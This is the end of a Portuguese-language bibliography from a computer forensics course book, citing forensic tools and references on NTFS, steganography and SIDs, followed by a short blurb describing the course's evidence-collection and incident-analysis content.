M. (Agosto de 2003). Independent Review of Common Forensic Imaging Tools. Acesso em março de 2008, disponível em SANS Institute: http://www.sans.org/reading_room/special/index.php?id=forensicimaging
\\SID:
Security Identifier. Acesso em março de 2008, disponível em Webopedia ISP Glossary: http://isp.webopedia.com/TERM/S/SID.html
\\SID
Components. Acesso em março de 2008, disponível em msdn: http://msdn2.microsoft.com/en-us/library/aa379597(VS.85).aspx
\\Slack
space data: Subversive Technologies & Countermeasures. Acesso em março de 2008, disponível em Wikipedia: http://www.wikistc.org/wiki/Slack_space_data
\\Solaris
Fingerprints Database. Acesso em março de 2008, disponível em: http://sunsolve.sun.com/fileFingerprints.do
\\Steganography
from Wikipedia. Acesso em março de 2008, disponível em Wikipedia: http://en.wikipedia.org/wiki/Steganography
\\Steganography:
Hiding Data Within Data. Acesso em março de 2008, disponível em GaryKessler.Net: http://www.garykessler.net/library/steganography.html
\\Szydlo,
M. (19 de Agosto de 2005). SHA1 Collisions can be Found in 2^63 Operations. Acesso em março de 2008, disponível em RSA Laboratories: http://www.rsa.com/rsalabs/node.asp?id=2927
\\The
Coroner’s Toolkit. Acesso em março de 2008, disponível em: http://www.porcupine.org/forensics/tct.html
\\The
Honeynet Project. Acesso em março de 2008, disponível em: http://www.honeynet.org/
\\The
NTFS File System from Sleuth Kit Implementation Notes (SKINs). Acesso em março de 2008, disponível em Sleuth Kit: http://www.sleuthkit.org/sleuthkit/docs/skins_ntfs.html
\\The
Programmer’s File and Data Resource. Fonte: Wotsit.org: http://www.wotsit.org/list.asp?fc=0
\\The
Sleuth Kit. Acesso em março de 2008, disponível em: http://www.sleuthkit.org/
\\Transactional
NTFS (TxF). Acesso em março de 2008, disponível em msdn: http://msdn2.microsoft.com/en-us/library/aa365456.aspx
\\Tripwire.
Acesso em março de 2008, disponível em Tripwire - Configuration Audit & Control Solutions: http://www.tripwire.com
\\Vexira
Antivirus. Fonte: http://www.centralcommand.com/
\\VMware
Virtualization, Virtual Machine & Virtual Server Consolidation - VMware. Acesso em março de 2008, disponível em VMWare: http://www.vmware.com/
\\Wine
HQ. Acesso em março de 2008, disponível em Wine HQ: http://www.winehq.org/
Seja um investigador capaz de coletar evidências digitais e conduzir uma análise em sistemas comprometidos Análise forense O curso apresenta as técnicas e ferramentas utilizadas em análise forense computacional. Aprenda os procedimentos a serem seguidos pelo investigador durante a análise do incidente. Crie o CD de ferramentas forenses que será utilizado durante a investigação. Aprenda a coletar evidências em uma imagem de disco de uma máquina comprometida. Elabore uma cronologia do ataque, descrevendo o que aconteceu e quando ocorreu cada evento do computador investigado. Compreenda as particularidades do processo de análise forense em Linux e Windows e a gênese das informações que devem ser coletadas em cada situação enfrentada. Identifique as informações dos programas executados e as bibliotecas associadas.
www.esr.rnp.br